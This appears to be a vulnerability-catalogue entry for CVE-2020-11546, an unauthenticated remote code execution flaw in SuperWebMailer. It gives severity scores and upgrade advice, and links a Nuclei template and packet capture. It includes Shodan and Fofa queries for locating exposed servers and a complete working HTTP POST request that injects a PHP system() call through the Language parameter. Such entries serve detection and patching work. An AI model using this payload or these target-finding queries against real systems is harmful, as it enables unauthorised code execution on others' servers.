| Title | SuperWebmailer 7.21.0.01526 - Remote Code Execution |
|---|---|
| Author | Official_BlackHat13 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade to the latest version of SuperWebmailer to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93122 |
| CVE ID | CVE-2020-11546 |
| CWE ID | CWE-94 |
| Shodan Query | title:"SuperWebMailer"http.title:"superwebmailer" |
| Fofa Query | title="superwebmailer" |
| Tags | cve cve2020 rce superwebmailer vkev vuln |
SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.
POST /mailingupgrade.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11546.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11546.pcap
N/AN/A